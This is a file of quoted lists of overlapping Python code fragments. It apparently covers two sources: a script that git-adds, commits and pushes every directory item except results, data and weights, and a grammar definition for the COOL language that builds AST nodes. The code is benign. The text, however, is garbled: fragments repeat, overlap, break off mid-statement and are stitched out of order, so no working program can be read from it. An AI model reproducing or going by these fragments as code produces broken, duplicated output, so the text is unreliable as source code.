os.listdir(): if item", "continue else: os.system(f\"git add {item}\") os.system(f'git commit -m \"{commit_string}\"') os.system(\"git", "in os.listdir(): if item in not_add: # print(item) continue else:", "\"选择data的前多少个维度参与训练\" not_add = ['results', 'data', 'weights'] for item in os.listdir():", "in not_add: # print(item) continue else: os.system(f\"git add {item}\") os.system(f'git", "item in not_add: # print(item) continue else: os.system(f\"git add {item}\")", "import os commit_string = \"选择data的前多少个维度参与训练\" not_add = ['results', 'data', 'weights']", "os.listdir(): if item in not_add: # print(item) continue else: os.system(f\"git", "else: os.system(f\"git add {item}\") os.system(f'git commit -m \"{commit_string}\"') os.system(\"git push", "not_add: # print(item) continue else: os.system(f\"git add {item}\") os.system(f'git commit", "['results', 'data', 'weights'] for item in os.listdir(): if item in", "os commit_string = \"选择data的前多少个维度参与训练\" not_add = ['results', 'data', 'weights'] for" ]
[ "fi\") whilex, loop, pool = G.Terminals(\"while loop pool\") case, of,", ") comp %= comp + less + arith, lambda h,", "notx + expr, lambda h, s: NotNode(s[2]) expr %= comp,", "s: IsvoidNode(s[2]) factor %= neg + element, lambda h, s:", "\"<expr> <comp> <arith> <term> <factor> <element> <atom>\" ) identifiers_list, identifier_init", "( idx + colon + idx + larrow + expr,", "feature_list, lambda h, s: [s[1]] + s[3] feature_list %= G.Epsilon,", "identifier_init, lambda h, s: [s[1]] identifier_init %= ( idx +", "s: StringNode(s[1]) block %= expr + semi, lambda h, s:", "( idx + opar + param_list + cpar + colon", "arg_list %= expr, lambda h, s: [s[1]] arg_list %= G.Epsilon,", "+ then + expr + elsex + expr + fi,", "s[3], s[5]), ) identifier_init %= idx + colon + idx,", "expr, lambda h, s: LetNode(s[2], s[4]) expr %= ( ifx", "<= ~\" ) idx, num, new, string, true, false =", "StarNode, DivNode, NegNode, InstantiateNode, BlockNode, CallNode, ConstantNumNode, VariableNode, BooleanNode, StringNode,", "expr + ccur, lambda h, s: FuncDeclarationNode(s[1], s[3], s[6], s[8]),", "+ expr + of + case_block + esac, lambda h,", "import Grammar from src.ast_nodes import ( ProgramNode, ClassDeclarationNode, FuncDeclarationNode, AttrDeclarationNode,", "s: VariableNode(s[1]) atom %= ( true, lambda h, s: BooleanNode(s[1]),", "case_block, case_item = G.NonTerminals(\"<block> <case-block> <case-item>\") func_call, arg_list = G.NonTerminals(\"<func-call>", "feature_list %= def_func + semi + feature_list, lambda h, s:", "%= ( classx + idx + ocur + feature_list +", "s[3]) term %= factor, lambda h, s: s[1] factor %=", "loop, pool = G.Terminals(\"while loop pool\") case, of, esac =", "larrow + expr, lambda h, s: VarDeclarationNode(s[1], s[3], s[5]), )", "idx + ocur + expr + ccur, lambda h, s:", "element %= opar + expr + cpar, lambda h, s:", "CaseItemNode, NotNode, LessNode, LessEqualNode, EqualNode, PlusNode, MinusNode, StarNode, DivNode, NegNode,", "+ colon + idx + ocur + expr + ccur,", "identifiers_list %= ( identifier_init + comma + identifiers_list, lambda h,", "idx, lambda h, s: VariableNode(s[1]) atom %= ( true, lambda", "+ expr + then + expr + elsex + expr", "at, larrow, rarrow = G.Terminals( \"; : , . (", "s[1] factor %= isvoid + element, lambda h, s: IsvoidNode(s[2])", "= G.NonTerminals(\"<func-call> <arg-list>\") # terminals classx, inherits, notx, isvoid =", "semi, lambda h, s: [s[1]] block %= expr + semi", "s[2] element %= ocur + block + ccur, lambda h,", "+ ccur + semi, lambda h, s: ClassDeclarationNode(s[2], s[6], s[4]),", "lambda h, s: s[1] term %= term + star +", "comma + arg_list, lambda h, s: [s[1]] + s[3] arg_list", "+ dot + func_call, lambda h, s: CallNode(*s[5], obj=s[1], at_type=s[3]),", "+ block, lambda h, s: [s[1]] + s[3] func_call %=", "s: ProgramNode(s[1]) class_list %= def_class + class_list, lambda h, s:", "ccur, lambda h, s: BlockNode(s[2]) element %= (element + dot", "[s[1]] + s[3], ) identifiers_list %= identifier_init, lambda h, s:", "lambda h, s: LessEqualNode(s[1], s[3]) comp %= arith, lambda h,", "lambda h, s: [s[1]] arg_list %= G.Epsilon, lambda h, s:", "arg_list %= G.Epsilon, lambda h, s: [] if print_grammar: print(G)", "atom = G.NonTerminals( \"<expr> <comp> <arith> <term> <factor> <element> <atom>\"", "idx + inherits + idx + ocur + feature_list +", "[] param %= idx + colon + idx, lambda h,", "s: [] def_attr %= ( idx + colon + idx", "of esac\") semi, colon, comma, dot, opar, cpar, ocur, ccur,", "s: LetNode(s[2], s[4]) expr %= ( ifx + expr +", "comp + less + arith, lambda h, s: LessNode(s[1], s[3])", "h, s: s[1] atom %= num, lambda h, s: ConstantNumNode(s[1])", "isvoid + element, lambda h, s: IsvoidNode(s[2]) factor %= neg", "ProgramNode, ClassDeclarationNode, FuncDeclarationNode, AttrDeclarationNode, IfNode, WhileNode, LetNode, CaseNode, IsvoidNode, AssignNode,", "expr + then + expr + elsex + expr +", "def_class %= ( classx + idx + inherits + idx", "block %= expr + semi + block, lambda h, s:", "lambda h, s: ClassDeclarationNode(s[2], s[4]), ) def_class %= ( classx", "lambda h, s: ProgramNode(s[1]) class_list %= def_class + class_list, lambda", "s: [s[1]] + s[2] class_list %= def_class, lambda h, s:", "CaseNode, IsvoidNode, AssignNode, VarDeclarationNode, CaseItemNode, NotNode, LessNode, LessEqualNode, EqualNode, PlusNode,", "idx + colon + idx, lambda h, s: (s[1], s[3])", "factor, element, atom = G.NonTerminals( \"<expr> <comp> <arith> <term> <factor>", "s: DivNode(s[1], s[3]) term %= factor, lambda h, s: s[1]", "+ ocur + feature_list + ccur + semi, lambda h,", "+ comma + identifiers_list, lambda h, s: [s[1]] + s[3],", "h, s: NegNode(s[2]) factor %= new + idx, lambda h,", "notx, isvoid = G.Terminals(\"class inherits not isvoid\") let, inx =", "factor %= neg + element, lambda h, s: NegNode(s[2]) factor", "identifier_init %= idx + colon + idx, lambda h, s:", "lambda h, s: s[1] element %= opar + expr +", "dot + func_call, lambda h, s: CallNode(*s[3], obj=s[1])) element %=", "+ s[3] arg_list %= expr, lambda h, s: [s[1]] arg_list", "lambda h, s: ClassDeclarationNode(s[2], s[6], s[4]), ) feature_list %= def_attr", "G.Terminals(\"if then else fi\") whilex, loop, pool = G.Terminals(\"while loop", "s: [s[1]] + s[3] arg_list %= expr, lambda h, s:", "NegNode, InstantiateNode, BlockNode, CallNode, ConstantNumNode, VariableNode, BooleanNode, StringNode, ) def", "[s[1]] param_list %= G.Epsilon, lambda h, s: [] param %=", "@ <- =>\" ) equal, plus, minus, star, div, less,", "h, s: BooleanNode(s[1]) atom %= string, lambda h, s: StringNode(s[1])", "let + identifiers_list + inx + expr, lambda h, s:", "+ s[3] feature_list %= def_func + semi + feature_list, lambda", "s: AttrDeclarationNode(s[1], s[3]) def_func %= ( idx + opar +", "lambda h, s: [s[1]] case_item %= ( idx + colon", "cpar + colon + idx + ocur + expr +", "EqualNode(s[1], s[3]) comp %= comp + lesseq + arith, lambda", "lambda h, s: CallNode(*s[3], obj=s[1])) element %= ( element +", "s: CallNode(*s[3], obj=s[1])) element %= ( element + at +", "CallNode(*s[5], obj=s[1], at_type=s[3]), ) element %= func_call, lambda h, s:", "Grammar() # non-terminals program = G.NonTerminal(\"<program>\", startSymbol=True) class_list, def_class =", "%= ( idx + opar + param_list + cpar +", "[s[1]] + s[2] case_block %= case_item, lambda h, s: [s[1]]", "( classx + idx + inherits + idx + ocur", "+ s[2] class_list %= def_class, lambda h, s: [s[1]] def_class", "pool = G.Terminals(\"while loop pool\") case, of, esac = G.Terminals(\"case", "in\") ifx, then, elsex, fi = G.Terminals(\"if then else fi\")", "s[1] term %= term + star + factor, lambda h,", "lambda h, s: IfNode(s[2], s[4], s[6]), ) expr %= whilex", "string, lambda h, s: StringNode(s[1]) block %= expr + semi,", "+ semi, lambda h, s: [s[1]] block %= expr +", "<atom>\" ) identifiers_list, identifier_init = G.NonTerminals(\"<ident-list> <ident-init>\") block, case_block, case_item", "s[3] arg_list %= expr, lambda h, s: [s[1]] arg_list %=", "func_call, lambda h, s: CallNode(*s[1]) element %= atom, lambda h,", "arg_list = G.NonTerminals(\"<func-call> <arg-list>\") # terminals classx, inherits, notx, isvoid", "s: InstantiateNode(s[2]) factor %= element, lambda h, s: s[1] element", "arith + plus + term, lambda h, s: PlusNode(s[1], s[3])", "+ func_call, lambda h, s: CallNode(*s[5], obj=s[1], at_type=s[3]), ) element", "func_call %= idx + opar + arg_list + cpar, lambda", "G.Terminals(\"case of esac\") semi, colon, comma, dot, opar, cpar, ocur,", "+ semi, lambda h, s: ClassDeclarationNode(s[2], s[4]), ) def_class %=", "lambda h, s: [s[1]] + s[2] case_block %= case_item, lambda", "( true, lambda h, s: BooleanNode(s[1]), ) atom %= false,", "%= expr + semi + block, lambda h, s: [s[1]]", "src.ast_nodes import ( ProgramNode, ClassDeclarationNode, FuncDeclarationNode, AttrDeclarationNode, IfNode, WhileNode, LetNode,", ") def_attr %= idx + colon + idx, lambda h,", "colon + idx, lambda h, s: AttrDeclarationNode(s[1], s[3]) def_func %=", "s: [s[1]] case_item %= ( idx + colon + idx", "s[2] class_list %= def_class, lambda h, s: [s[1]] def_class %=", "lambda h, s: AttrDeclarationNode(s[1], s[3], s[5]), ) def_attr %= idx", "expr + pool, lambda h, s: WhileNode(s[2], s[4]) expr %=", "lambda h, s: CaseNode(s[2], s[4]) expr %= notx + expr,", "int new string true false\") # productions program %= class_list,", "non-terminals program = G.NonTerminal(\"<program>\", startSymbol=True) class_list, def_class = G.NonTerminals(\"<class-list> <def-class>\")", "<factor> <element> <atom>\" ) identifiers_list, identifier_init = G.NonTerminals(\"<ident-list> <ident-init>\") block,", "classx + idx + inherits + idx + ocur +", "+ expr + cpar, lambda h, s: s[2] element %=", "cpar, lambda h, s: s[2] element %= ocur + block", "LessNode, LessEqualNode, EqualNode, PlusNode, MinusNode, StarNode, DivNode, NegNode, InstantiateNode, BlockNode,", "+ pool, lambda h, s: WhileNode(s[2], s[4]) expr %= case", "VarDeclarationNode(s[1], s[3], s[5]), ) identifier_init %= idx + colon +", "G = Grammar() # non-terminals program = G.NonTerminal(\"<program>\", startSymbol=True) class_list,", "+ expr, lambda h, s: LetNode(s[2], s[4]) expr %= (", "ocur + block + ccur, lambda h, s: BlockNode(s[2]) element", "%= idx + colon + idx, lambda h, s: VarDeclarationNode(s[1],", "ccur + semi, lambda h, s: ClassDeclarationNode(s[2], s[4]), ) def_class", "s: s[1] element %= opar + expr + cpar, lambda", "s: PlusNode(s[1], s[3]) arith %= arith + minus + term,", "class_list, def_class = G.NonTerminals(\"<class-list> <def-class>\") feature_list, def_attr, def_func = G.NonTerminals(", "= G.Terminals(\"id int new string true false\") # productions program", "s[3], ) identifiers_list %= identifier_init, lambda h, s: [s[1]] identifier_init", "h, s: [s[1]] identifier_init %= ( idx + colon +", "+ cpar, lambda h, s: (s[1], s[3]) arg_list %= expr", "arg_list %= expr + comma + arg_list, lambda h, s:", "IsvoidNode, AssignNode, VarDeclarationNode, CaseItemNode, NotNode, LessNode, LessEqualNode, EqualNode, PlusNode, MinusNode,", "h, s: StarNode(s[1], s[3]) term %= term + div +", "( identifier_init + comma + identifiers_list, lambda h, s: [s[1]]", "term %= term + star + factor, lambda h, s:", "esac, lambda h, s: CaseNode(s[2], s[4]) expr %= notx +", "h, s: [s[1]] block %= expr + semi + block,", "G.Epsilon, lambda h, s: [] def_attr %= ( idx +", "%= ocur + block + ccur, lambda h, s: BlockNode(s[2])", "lesseq, neg = G.Terminals( \"= + - * / <", "InstantiateNode(s[2]) factor %= element, lambda h, s: s[1] element %=", ". ( ) { } @ <- =>\" ) equal,", "NegNode(s[2]) factor %= new + idx, lambda h, s: InstantiateNode(s[2])", "[s[1]] + s[3] func_call %= idx + opar + arg_list", "arith, lambda h, s: s[1] arith %= arith + plus", "# grammar G = Grammar() # non-terminals program = G.NonTerminal(\"<program>\",", "block %= expr + semi, lambda h, s: [s[1]] block", "rarrow = G.Terminals( \"; : , . ( ) {", "new + idx, lambda h, s: InstantiateNode(s[2]) factor %= element,", "comp, arith, term, factor, element, atom = G.NonTerminals( \"<expr> <comp>", ") param_list %= param + comma + param_list, lambda h,", "h, s: WhileNode(s[2], s[4]) expr %= case + expr +", "= G.Terminals(\"let in\") ifx, then, elsex, fi = G.Terminals(\"if then", "then else fi\") whilex, loop, pool = G.Terminals(\"while loop pool\")", "h, s: DivNode(s[1], s[3]) term %= factor, lambda h, s:", "whilex + expr + loop + expr + pool, lambda", "StarNode(s[1], s[3]) term %= term + div + factor, lambda", "cpar, lambda h, s: (s[1], s[3]) arg_list %= expr +", "case, of, esac = G.Terminals(\"case of esac\") semi, colon, comma,", "h, s: [] def_attr %= ( idx + colon +", "lambda h, s: NotNode(s[2]) expr %= comp, lambda h, s:", "s: StarNode(s[1], s[3]) term %= term + div + factor,", "[s[1]] arg_list %= G.Epsilon, lambda h, s: [] if print_grammar:", "G.NonTerminals(\"<param-list> <param>\") expr, comp, arith, term, factor, element, atom =", "<term> <factor> <element> <atom>\" ) identifiers_list, identifier_init = G.NonTerminals(\"<ident-list> <ident-init>\")", "expr %= case + expr + of + case_block +", "idx + colon + idx + rarrow + expr +", "term, lambda h, s: s[1] term %= term + star", "minus + term, lambda h, s: MinusNode(s[1], s[3]) arith %=", "s: s[1] atom %= num, lambda h, s: ConstantNumNode(s[1]) atom", "feature_list %= G.Epsilon, lambda h, s: [] def_attr %= (", "ProgramNode(s[1]) class_list %= def_class + class_list, lambda h, s: [s[1]]", "%= def_class, lambda h, s: [s[1]] def_class %= ( classx", "atom %= false, lambda h, s: BooleanNode(s[1]) atom %= string,", "class_list %= def_class, lambda h, s: [s[1]] def_class %= (", "s: [s[1]] + s[3] param_list %= param, lambda h, s:", "arith %= arith + minus + term, lambda h, s:", "ClassDeclarationNode, FuncDeclarationNode, AttrDeclarationNode, IfNode, WhileNode, LetNode, CaseNode, IsvoidNode, AssignNode, VarDeclarationNode,", "%= ( idx + colon + idx + larrow +", "s[4]) expr %= ( ifx + expr + then +", "%= element, lambda h, s: s[1] element %= opar +", "+ rarrow + expr + semi, lambda h, s: CaseItemNode(s[1],", "+ comma + param_list, lambda h, s: [s[1]] + s[3]", "+ arg_list + cpar, lambda h, s: (s[1], s[3]) arg_list", "+ div + factor, lambda h, s: DivNode(s[1], s[3]) term", "s: [s[1]] arg_list %= G.Epsilon, lambda h, s: [] if", "lesseq + arith, lambda h, s: LessEqualNode(s[1], s[3]) comp %=", "s[3], s[5]), ) comp %= comp + less + arith,", "colon, comma, dot, opar, cpar, ocur, ccur, at, larrow, rarrow", "} @ <- =>\" ) equal, plus, minus, star, div,", "comma + param_list, lambda h, s: [s[1]] + s[3] param_list", "= G.NonTerminals( \"<feature-list> <def-attr> <def-func>\" ) param_list, param = G.NonTerminals(\"<param-list>", "semi, colon, comma, dot, opar, cpar, ocur, ccur, at, larrow,", "star + factor, lambda h, s: StarNode(s[1], s[3]) term %=", "<- =>\" ) equal, plus, minus, star, div, less, equal,", "expr %= idx + larrow + expr, lambda h, s:", "h, s: [s[1]] + s[3] arg_list %= expr, lambda h,", "G.NonTerminals(\"<block> <case-block> <case-item>\") func_call, arg_list = G.NonTerminals(\"<func-call> <arg-list>\") # terminals", "CallNode(*s[3], obj=s[1])) element %= ( element + at + idx", "h, s: FuncDeclarationNode(s[1], s[3], s[6], s[8]), ) param_list %= param", "def define_cool_grammar(print_grammar=False): # grammar G = Grammar() # non-terminals program", "def_func %= ( idx + opar + param_list + cpar", "opar + expr + cpar, lambda h, s: s[2] element", "s[4]), ) feature_list %= def_attr + semi + feature_list, lambda", "s[3] param_list %= param, lambda h, s: [s[1]] param_list %=", "+ fi, lambda h, s: IfNode(s[2], s[4], s[6]), ) expr", "+ colon + idx + larrow + expr, lambda h,", "expr %= ( ifx + expr + then + expr", "s: AttrDeclarationNode(s[1], s[3], s[5]), ) def_attr %= idx + colon", "comp + lesseq + arith, lambda h, s: LessEqualNode(s[1], s[3])", "( ProgramNode, ClassDeclarationNode, FuncDeclarationNode, AttrDeclarationNode, IfNode, WhileNode, LetNode, CaseNode, IsvoidNode,", "param_list, param = G.NonTerminals(\"<param-list> <param>\") expr, comp, arith, term, factor,", "expr, lambda h, s: [s[1]] arg_list %= G.Epsilon, lambda h,", "%= string, lambda h, s: StringNode(s[1]) block %= expr +", "identifiers_list + inx + expr, lambda h, s: LetNode(s[2], s[4])", "comp %= arith, lambda h, s: s[1] arith %= arith", "factor, lambda h, s: StarNode(s[1], s[3]) term %= term +", ") feature_list %= def_attr + semi + feature_list, lambda h,", "lambda h, s: PlusNode(s[1], s[3]) arith %= arith + minus", "+ case_block + esac, lambda h, s: CaseNode(s[2], s[4]) expr", "isvoid\") let, inx = G.Terminals(\"let in\") ifx, then, elsex, fi", "s[6]), ) expr %= whilex + expr + loop +", "arith, lambda h, s: EqualNode(s[1], s[3]) comp %= comp +", "[s[1]] + s[3] arg_list %= expr, lambda h, s: [s[1]]", "ocur + feature_list + ccur + semi, lambda h, s:", "colon + idx + larrow + expr, lambda h, s:", "element %= func_call, lambda h, s: CallNode(*s[1]) element %= atom,", "element, lambda h, s: IsvoidNode(s[2]) factor %= neg + element,", "BooleanNode, StringNode, ) def define_cool_grammar(print_grammar=False): # grammar G = Grammar()", "+ semi, lambda h, s: ClassDeclarationNode(s[2], s[6], s[4]), ) feature_list", "h, s: CallNode(*s[3], obj=s[1])) element %= ( element + at", "Grammar from src.ast_nodes import ( ProgramNode, ClassDeclarationNode, FuncDeclarationNode, AttrDeclarationNode, IfNode,", "lambda h, s: [] if print_grammar: print(G) return (G, idx,", "func_call, lambda h, s: CallNode(*s[5], obj=s[1], at_type=s[3]), ) element %=", "+ colon + idx + rarrow + expr + semi,", "else fi\") whilex, loop, pool = G.Terminals(\"while loop pool\") case,", "+ s[3] feature_list %= G.Epsilon, lambda h, s: [] def_attr", "<def-func>\" ) param_list, param = G.NonTerminals(\"<param-list> <param>\") expr, comp, arith,", "<param>\") expr, comp, arith, term, factor, element, atom = G.NonTerminals(", "%= param + comma + param_list, lambda h, s: [s[1]]", "s: WhileNode(s[2], s[4]) expr %= case + expr + of", "def_class + class_list, lambda h, s: [s[1]] + s[2] class_list", "idx, lambda h, s: VarDeclarationNode(s[1], s[3]) case_block %= case_item +", "LessEqualNode, EqualNode, PlusNode, MinusNode, StarNode, DivNode, NegNode, InstantiateNode, BlockNode, CallNode,", "case_block + esac, lambda h, s: CaseNode(s[2], s[4]) expr %=", "%= (element + dot + func_call, lambda h, s: CallNode(*s[3],", "+ expr + loop + expr + pool, lambda h,", "comma + identifiers_list, lambda h, s: [s[1]] + s[3], )", "~\" ) idx, num, new, string, true, false = G.Terminals(\"id", "arith %= term, lambda h, s: s[1] term %= term", "classx, inherits, notx, isvoid = G.Terminals(\"class inherits not isvoid\") let,", "h, s: [s[1]] + s[3] param_list %= param, lambda h,", "+ semi, lambda h, s: CaseItemNode(s[1], s[3], s[5]), ) comp", "lambda h, s: s[2] element %= ocur + block +", "%= func_call, lambda h, s: CallNode(*s[1]) element %= atom, lambda", "element, lambda h, s: NegNode(s[2]) factor %= new + idx,", "opar + param_list + cpar + colon + idx +", "s: [] param %= idx + colon + idx, lambda", "+ at + idx + dot + func_call, lambda h,", "lambda h, s: s[1] arith %= arith + plus +", "def_attr, def_func = G.NonTerminals( \"<feature-list> <def-attr> <def-func>\" ) param_list, param", "string true false\") # productions program %= class_list, lambda h,", "h, s: [s[1]] + s[2] class_list %= def_class, lambda h,", "StringNode(s[1]) block %= expr + semi, lambda h, s: [s[1]]", "s[3] func_call %= idx + opar + arg_list + cpar,", "s: s[2] element %= ocur + block + ccur, lambda", "+ factor, lambda h, s: DivNode(s[1], s[3]) term %= factor,", "lambda h, s: ConstantNumNode(s[1]) atom %= idx, lambda h, s:", "s[4], s[6]), ) expr %= whilex + expr + loop", "CallNode, ConstantNumNode, VariableNode, BooleanNode, StringNode, ) def define_cool_grammar(print_grammar=False): # grammar", "s: [s[1]] + s[3], ) identifiers_list %= identifier_init, lambda h,", "equal + arith, lambda h, s: EqualNode(s[1], s[3]) comp %=", "atom %= string, lambda h, s: StringNode(s[1]) block %= expr", "LessNode(s[1], s[3]) comp %= comp + equal + arith, lambda", "def_attr %= idx + colon + idx, lambda h, s:", "G.Epsilon, lambda h, s: [] if print_grammar: print(G) return (G,", "DivNode(s[1], s[3]) term %= factor, lambda h, s: s[1] factor", "<ident-init>\") block, case_block, case_item = G.NonTerminals(\"<block> <case-block> <case-item>\") func_call, arg_list", "from src.cmp.pycompiler import Grammar from src.ast_nodes import ( ProgramNode, ClassDeclarationNode,", "expr %= whilex + expr + loop + expr +", "%= new + idx, lambda h, s: InstantiateNode(s[2]) factor %=", "G.Terminals(\"while loop pool\") case, of, esac = G.Terminals(\"case of esac\")", "= G.Terminals(\"class inherits not isvoid\") let, inx = G.Terminals(\"let in\")", "+ idx + ocur + expr + ccur, lambda h,", "h, s: PlusNode(s[1], s[3]) arith %= arith + minus +", "%= term, lambda h, s: s[1] term %= term +", "inherits not isvoid\") let, inx = G.Terminals(\"let in\") ifx, then,", "= Grammar() # non-terminals program = G.NonTerminal(\"<program>\", startSymbol=True) class_list, def_class", "s: [s[1]] block %= expr + semi + block, lambda", "+ class_list, lambda h, s: [s[1]] + s[2] class_list %=", "arith, lambda h, s: LessEqualNode(s[1], s[3]) comp %= arith, lambda", "factor, lambda h, s: s[1] factor %= isvoid + element,", "G.NonTerminals(\"<class-list> <def-class>\") feature_list, def_attr, def_func = G.NonTerminals( \"<feature-list> <def-attr> <def-func>\"", "%= isvoid + element, lambda h, s: IsvoidNode(s[2]) factor %=", "startSymbol=True) class_list, def_class = G.NonTerminals(\"<class-list> <def-class>\") feature_list, def_attr, def_func =", "s[3]) arg_list %= expr + comma + arg_list, lambda h,", "ifx, then, elsex, fi = G.Terminals(\"if then else fi\") whilex,", "inx + expr, lambda h, s: LetNode(s[2], s[4]) expr %=", "class_list, lambda h, s: ProgramNode(s[1]) class_list %= def_class + class_list,", "s[4]), ) def_class %= ( classx + idx + inherits", "s: [s[1]] + s[3] feature_list %= G.Epsilon, lambda h, s:", "+ esac, lambda h, s: CaseNode(s[2], s[4]) expr %= notx", "%= ( identifier_init + comma + identifiers_list, lambda h, s:", "expr + loop + expr + pool, lambda h, s:", "case_block, lambda h, s: [s[1]] + s[2] case_block %= case_item,", "%= ( element + at + idx + dot +", "%= class_list, lambda h, s: ProgramNode(s[1]) class_list %= def_class +", "[s[1]] def_class %= ( classx + idx + ocur +", "ccur + semi, lambda h, s: ClassDeclarationNode(s[2], s[6], s[4]), )", "idx + ocur + feature_list + ccur + semi, lambda", "lambda h, s: s[1] atom %= num, lambda h, s:", "isvoid = G.Terminals(\"class inherits not isvoid\") let, inx = G.Terminals(\"let", "h, s: AttrDeclarationNode(s[1], s[3]) def_func %= ( idx + opar", "lambda h, s: CallNode(*s[1]) element %= atom, lambda h, s:", "s[3]) comp %= comp + equal + arith, lambda h,", "h, s: [s[1]] + s[3] feature_list %= def_func + semi", "%= ( ifx + expr + then + expr +", "s[1] identifiers_list %= ( identifier_init + comma + identifiers_list, lambda", "%= arith, lambda h, s: s[1] arith %= arith +", "s[3], s[6], s[8]), ) param_list %= param + comma +", "[s[1]] block %= expr + semi + block, lambda h,", "idx, lambda h, s: (s[1], s[3]) expr %= idx +", "h, s: NotNode(s[2]) expr %= comp, lambda h, s: s[1]", "s[3]) case_block %= case_item + case_block, lambda h, s: [s[1]]", "atom %= ( true, lambda h, s: BooleanNode(s[1]), ) atom", "expr, lambda h, s: VarDeclarationNode(s[1], s[3], s[5]), ) identifier_init %=", "h, s: [] if print_grammar: print(G) return (G, idx, string,", "# terminals classx, inherits, notx, isvoid = G.Terminals(\"class inherits not", "src.cmp.pycompiler import Grammar from src.ast_nodes import ( ProgramNode, ClassDeclarationNode, FuncDeclarationNode,", "%= G.Epsilon, lambda h, s: [] if print_grammar: print(G) return", "+ feature_list, lambda h, s: [s[1]] + s[3] feature_list %=", "ccur, at, larrow, rarrow = G.Terminals( \"; : , .", "h, s: AssignNode(s[1], s[3]) expr %= let + identifiers_list +", "def_class = G.NonTerminals(\"<class-list> <def-class>\") feature_list, def_attr, def_func = G.NonTerminals( \"<feature-list>", "s[3]) term %= term + div + factor, lambda h,", ") { } @ <- =>\" ) equal, plus, minus,", "equal, lesseq, neg = G.Terminals( \"= + - * /", "lambda h, s: [s[1]] + s[3] arg_list %= expr, lambda", "idx + larrow + expr, lambda h, s: AssignNode(s[1], s[3])", "expr + semi + block, lambda h, s: [s[1]] +", "h, s: s[1] factor %= isvoid + element, lambda h,", "lambda h, s: VariableNode(s[1]) atom %= ( true, lambda h,", "LessEqualNode(s[1], s[3]) comp %= arith, lambda h, s: s[1] arith", "s: VarDeclarationNode(s[1], s[3]) case_block %= case_item + case_block, lambda h,", "s[1] arith %= arith + plus + term, lambda h,", "BooleanNode(s[1]), ) atom %= false, lambda h, s: BooleanNode(s[1]) atom", "+ arg_list, lambda h, s: [s[1]] + s[3] arg_list %=", "param_list %= G.Epsilon, lambda h, s: [] param %= idx", "colon + idx, lambda h, s: (s[1], s[3]) expr %=", "neg + element, lambda h, s: NegNode(s[2]) factor %= new", "%= term + star + factor, lambda h, s: StarNode(s[1],", "term, lambda h, s: MinusNode(s[1], s[3]) arith %= term, lambda", "expr + semi, lambda h, s: CaseItemNode(s[1], s[3], s[5]), )", "+ equal + arith, lambda h, s: EqualNode(s[1], s[3]) comp", "new, string, true, false = G.Terminals(\"id int new string true", "then, elsex, fi = G.Terminals(\"if then else fi\") whilex, loop,", ") identifiers_list %= identifier_init, lambda h, s: [s[1]] identifier_init %=", "NotNode, LessNode, LessEqualNode, EqualNode, PlusNode, MinusNode, StarNode, DivNode, NegNode, InstantiateNode,", "s: NotNode(s[2]) expr %= comp, lambda h, s: s[1] identifiers_list", "expr %= comp, lambda h, s: s[1] identifiers_list %= (", "s[3]) comp %= comp + lesseq + arith, lambda h,", "lambda h, s: WhileNode(s[2], s[4]) expr %= case + expr", "h, s: LessEqualNode(s[1], s[3]) comp %= arith, lambda h, s:", "+ arith, lambda h, s: LessNode(s[1], s[3]) comp %= comp", "identifiers_list %= identifier_init, lambda h, s: [s[1]] identifier_init %= (", "+ idx, lambda h, s: VarDeclarationNode(s[1], s[3]) case_block %= case_item", "identifiers_list, identifier_init = G.NonTerminals(\"<ident-list> <ident-init>\") block, case_block, case_item = G.NonTerminals(\"<block>", "CallNode(*s[1]) element %= atom, lambda h, s: s[1] atom %=", "%= comp + less + arith, lambda h, s: LessNode(s[1],", "<def-class>\") feature_list, def_attr, def_func = G.NonTerminals( \"<feature-list> <def-attr> <def-func>\" )", "s[5]), ) identifier_init %= idx + colon + idx, lambda", "+ param_list, lambda h, s: [s[1]] + s[3] param_list %=", "s: MinusNode(s[1], s[3]) arith %= term, lambda h, s: s[1]", "+ s[3], ) identifiers_list %= identifier_init, lambda h, s: [s[1]]", "+ idx, lambda h, s: (s[1], s[3]) expr %= idx", "<element> <atom>\" ) identifiers_list, identifier_init = G.NonTerminals(\"<ident-list> <ident-init>\") block, case_block,", "LetNode(s[2], s[4]) expr %= ( ifx + expr + then", "StringNode, ) def define_cool_grammar(print_grammar=False): # grammar G = Grammar() #", "+ case_block, lambda h, s: [s[1]] + s[2] case_block %=", "+ idx, lambda h, s: InstantiateNode(s[2]) factor %= element, lambda", "%= case + expr + of + case_block + esac,", "s[3], s[5]), ) def_attr %= idx + colon + idx,", "%= ( classx + idx + inherits + idx +", "h, s: s[1] identifiers_list %= ( identifier_init + comma +", "neg = G.Terminals( \"= + - * / < =", "( ifx + expr + then + expr + elsex", "+ idx + inherits + idx + ocur + feature_list", "s[3]) arith %= term, lambda h, s: s[1] term %=", "expr, lambda h, s: AttrDeclarationNode(s[1], s[3], s[5]), ) def_attr %=", "larrow, rarrow = G.Terminals( \"; : , . ( )", "{ } @ <- =>\" ) equal, plus, minus, star,", "+ comma + arg_list, lambda h, s: [s[1]] + s[3]", "pool\") case, of, esac = G.Terminals(\"case of esac\") semi, colon,", "%= notx + expr, lambda h, s: NotNode(s[2]) expr %=", "false, lambda h, s: BooleanNode(s[1]) atom %= string, lambda h,", "+ ccur, lambda h, s: FuncDeclarationNode(s[1], s[3], s[6], s[8]), )", "ccur, lambda h, s: FuncDeclarationNode(s[1], s[3], s[6], s[8]), ) param_list", "identifier_init = G.NonTerminals(\"<ident-list> <ident-init>\") block, case_block, case_item = G.NonTerminals(\"<block> <case-block>", "( element + at + idx + dot + func_call,", "+ feature_list + ccur + semi, lambda h, s: ClassDeclarationNode(s[2],", "feature_list %= def_attr + semi + feature_list, lambda h, s:", "= G.NonTerminals(\"<param-list> <param>\") expr, comp, arith, term, factor, element, atom", "ClassDeclarationNode(s[2], s[4]), ) def_class %= ( classx + idx +", "idx + colon + idx, lambda h, s: VarDeclarationNode(s[1], s[3])", "+ less + arith, lambda h, s: LessNode(s[1], s[3]) comp", "* / < = <= ~\" ) idx, num, new,", "IfNode(s[2], s[4], s[6]), ) expr %= whilex + expr +", "lambda h, s: [s[1]] + s[3] feature_list %= def_func +", "h, s: s[1] arith %= arith + plus + term,", "+ s[2] case_block %= case_item, lambda h, s: [s[1]] case_item", "lambda h, s: [s[1]] param_list %= G.Epsilon, lambda h, s:", "semi, lambda h, s: ClassDeclarationNode(s[2], s[6], s[4]), ) feature_list %=", "import ( ProgramNode, ClassDeclarationNode, FuncDeclarationNode, AttrDeclarationNode, IfNode, WhileNode, LetNode, CaseNode,", "identifiers_list, lambda h, s: [s[1]] + s[3], ) identifiers_list %=", "grammar G = Grammar() # non-terminals program = G.NonTerminal(\"<program>\", startSymbol=True)", "ifx + expr + then + expr + elsex +", "+ of + case_block + esac, 